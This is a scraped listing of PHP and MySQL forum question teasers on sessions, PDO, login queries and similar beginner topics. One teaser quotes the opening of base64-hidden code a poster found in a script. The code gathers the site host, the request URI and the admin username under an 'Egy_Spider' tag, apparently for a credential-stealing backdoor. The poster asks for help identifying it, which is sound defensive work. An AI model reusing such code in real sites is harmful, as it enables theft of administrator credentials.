select columns in table from array list
Hi I have a task that a user provides a text file with a list of mysql column names from a table. I need to select and display the results from the selected columns. the column names vary each time...
View Articlehtml in php (double quotes)
how do i echo out this html? <a href="#login" onclick="popup('popUpDiv')">Login</a> in php i tried: echo '<a href="#login" onclick="popup('popUpDiv')">Login</a>'; but that...
View ArticleFind Similar Named Files on Remote Server
I have an image name (pic01.jpg) and the directory it lives in on the remote server ( I also have permission to be there). I know that in many cases there will be a small stack of images that together...
View Articlelimit users actions
hi i'm running website with many vistors at times i get people who abuse my site i would like to know if there is way to block these users via cookies or php , for example my site have to take...
View ArticleUsing the “LIKE” with the “=” criterion together
Hi all, I wish I could use the mysqli/ PDO to accomplish what I am trying to do right away. I do not know either how I can intergrate the "=" criteria with the "LIKE" in the following piece of code....
View ArticleNon case-sensitive SQL query
Hey, I am currently working on a website for school and I am doing the Log in system. I need the 'Name' to be non-case sensitive. How would I go about doing this? The code I have so far is: <?php...
View ArticleFunction syntax help
I am storing the following MySQL prep statement as a function and calling it before its required, however I've either misunderstood the point of a function or I'm using the wrong syntax somewhere. Can...
View ArticleNews module where can change usergroup.
I have one database where is table like "owner", "admin","worker". Now i want checkbox for that form where can choose what user group it save. Have someone idea how to do it? <form method="post"...
View ArticlePHP Sessions.
Hi, I'm currently trying to understand exactly how php sessions work? So far I've been told that you start a session with session_start() and then hold that data in a variable like...
View ArticleHow to tweak PhpMobilizer?
Has anyone tried PhpMobilizer? To show my website on my iPhone, I downloaded the PhpMobilzer program and followed the instructions: "Create a subdomain called 'm' for your website. Upload the files...
View ArticleWhat Am I doing wrong with my INSERT statement?
Hey all this is my first time posting and was wondering if I could get some help and see what I am doing wrong. // I've tried my best to find my answer through google searches and after days of...
View ArticleComplicated file parsing
Hello all, I have an file with this structure attached. The question is how can that file be parsed line by line so I can manipulate further the info as following: 1. I want to know the >LD XX. In...
View Articleform help new to php
ok so i followed a tutorial and cant figure out why this code is not working when i use on server on pc i get a Parse error: syntax error, unexpected T_STRING in C:\wamp\www\insertform.php on line 14...
View Articleconvert hardcoded array using PDO
Hi I have the following class <?php include_once("model/Event.php"); class Model { public function getEventList() { return array( "1" => new...
View ArticleTrying to include a pages using a database
Hi All Thanks for looking. I am trying to include individual pages to appear on a page with each page name in a database. When I put the include page it shows it exact but what I would like to do...
View ArticleGeting data and making a link
I got the script geting the data. How would I add an if to it, where if it's the title, it'll show up as <A HREF="http://www.domain.com/info/**ID**.html">**Title**</a> I think the part...
View ArticleIs this a backdoor code?
I found this code which was encrypted in base64 in a php script: $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "Egy_Spider \nUserName: ".htmlspecialchars($tacfgd['uname'])...
View ArticleTriggering PHP events based on information that comes through a websocket
Hi, I am listening to a 3rd party websocket and now I want a PHP script to be triggered when new information comes through over the websocket without sending a whole new HTTP request (though it might...
View Articleproblems with php sessions
Hi, I am new to php and am having problems with sessions, basically I have a form that I have split into 2 pages. I use session variables to collect the input from both pages and then output the...
View Article[function.getimagesize]: failed to open stream error
The server I'm using is WAMP, and it does upload the image every time without error, but I'm recieving this error:Warning: getimagesize(C:\wamp\tmp\php11AC.tmp) [function.getimagesize]: failed to open...
View Article